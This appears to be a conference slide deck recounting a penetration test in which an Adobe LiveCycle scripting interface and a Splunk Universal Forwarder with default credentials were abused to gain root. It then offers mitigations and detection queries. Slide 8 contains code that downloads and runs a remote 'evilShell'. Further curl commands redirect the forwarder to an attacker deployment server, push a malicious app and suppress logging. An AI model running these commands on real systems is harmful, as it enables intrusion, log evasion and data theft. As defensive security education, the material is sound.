  • 4. Some Splunk Background •For those not familiar •Splunk is a logging platform/SIEM •Typically uses agents called ”Universal Forwarders” (aka Forwarders) for sending •Forwarders can be configured • Manually via config files • Via deployment server
  • 5.
  • 6. Setting the Stage •Pentesting a web application •Well secured, modern coding practices •JS-heavy, not much dynamic content •Until…..
  • 7. The Pentest Begins • Discovered Adobe Livecycle • Adobe kindly provides a scripting interface for all of their applications
  • 8. Some Java/Beanshell Code import java.lang.*; import java.util.*; import java.io.*; import java.net.*; String[] cmd = {"/usr/bin/wget", "http://<IP>/evilShell"}; Runtime.getRuntime().exec(cmd); exec("/bin/chmod 700 evilShell"); String[] cmd = {"/bin/sh", "-c", "evilShell"}; Runtime.getRuntime().exec(cmd);
  • 9. Shell • So I have my shell • Now what? • Limited to the jboss user (no root dance yet) • Hardened/patched OS (RHEL) • One simple oversight:
  • 10. Blue Team Turned Evil? • How can I use this? • Assemble the brain-trust!
  • 11. Default Creds Again? • The Splunk Universal Forwarder still had default credentials • Known issue, Splunk restricted the REST API to localhost only when default credentials were used • admin // changeme
  • 12. Curl to the Rescue •Step 1: •Test hypothesis curl -u "admin:changeme" -k https://127.0.0.1:8089/services/deployment/client • Returns <s:key name="targetUri">10.0.1.20:8089</s:key>
  • 13. Abusing Splunk for Fun and Profit •Step 2 •Set up my own Deployment server
  • 14. Splunk TA-Shell •Step 3 •Write some code (or borrow it)
  • 15. The Hard Way •Step 4 •Direct the UF to the new deployment server curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/deployment/client/conf" -d targetUri='<IP>:<port>' curl -u "admin:changeme" -k "https://127.0.0.1:8089/services/server/control/restart" –d ‘’
  • 16. App Deployment •Step 5 •Deploy the new app •Takes up to 5 minutes to check in and deploy
  • 17. Then We Wait •Step 6 •Profit!
  • 18. Abusing Splunk for Fun and Profit • In this particular instance, once I had root I was able to pillage all of the Chef scripts for credentials and github repositories • Result • Complete exploitation of every server in the network • S3 access (encrypted PII) • Reverse engineered the web application to discover encryption key storage • Fully decrypted PII, ability to change, delete
  • 20. The Easy Way •It just keeps getting better: •Deploy your app without an evil deployment server •POST the file and deploy with one command •curl -k -u admin:changeme "https://localhost:8090/services/apps/local" -d filename=1 -d name=/path/to/evilapp.tgz
  • 21. What About Logging? • Internal logging by the forwarder is complex • AuditLogger - Audit:[timestamp=06-03-2017 09:19:00.136, user=admin, action=login attempt, info=succeeded, src=127.0.0.1][n/a] • REST can change logging levels too • curl -k -u admin:changeme https://localhost:8090/servicesNS/nobody/system/admin/l ogger/HTTPAccess -d 'level=ERROR’
  • 22. Mitigations: Default Creds •Change them! •Make them hard to guess •99% of the time you don’t even need to know them •If you need Forwarder credentials •Remove $SPLUNK_HOME/etc/passwd, and restart Splunk
  • 23. Mitigations: REST API •Forwarders don’t need the REST API • Indexers and Search Heads usually do (YMMV) • Best practice: disable the REST API entirely on Forwarders • https://github.com/georgestarcher/UF-TA-killrest •Known issue for Splunk • REST API is restricted to 127.0.0.1 if the credentials are default
  • 24. Mitigations: Detection •Log and alert on Splunk metadata events • Watch for forwarders failing to check in • Changes via REST are logged and forwarded • Lots of artifacts left by this technique • Hard to find and squash before it gets shipped to the indexers index=_internal sourcetype=splunkd DeployedApplication Downloaded url!=<deployment server here>
  • 25. Mitigation: Extended Logging Props.conf: [source::.../var/log/splunk/audit.log(.d+)?] TRANSFORMS = send_to_underscore_audit Transforms.conf: [send_to_underscore_audit] MV_ADD = true DEST_KEY = _MetaData:Index REGEX = . FORMAT = _audit
  • 26. Extended Logging Example 03-14-2018 09:02:05.747 -0500 INFO AuditLogger - Audit:[timestamp=03-14-2018 09:02:05.747, user=admin, action=edit_server, info=granted object="HTTPAccess" operation=edit][n/a]
  • 27. Mitigations: TLS • Force all Deployment Server communications to use properly validated TLS certificates • Won’t stop the fake Deployment Server attack but makes it a lot more difficult • Encrypted Command and Control is just good practice
  • 28. Mitigations: Run Unprivileged • Most difficult • Requires all forwarded logs to be readable by Splunk user • SELinux may cause problems • Not always effective • Splunk User runas config option was available to unprivileged Splunk user • Splunk services start as root, then forks to assigned user • https://www.splunk.com/view/SP-CAAAP3M • Lock down splunk-launch.conf
  • 29. Forwarder Hardening Guide • https://github.com/MattUebel/splunk_UF_hardening 1. Changing Service Account 2. Changing Credentials 3. Disabling REST Port 4. Deployment Server Hardening/Monitoring 5. SSL
  • 30. Questions? • Thanks to: • Duane Waddle (duckfez) • Matt Uebel (@muebel) • George Starcher (@georgestarcher) • Jason Ashbaugh (@techxicologist)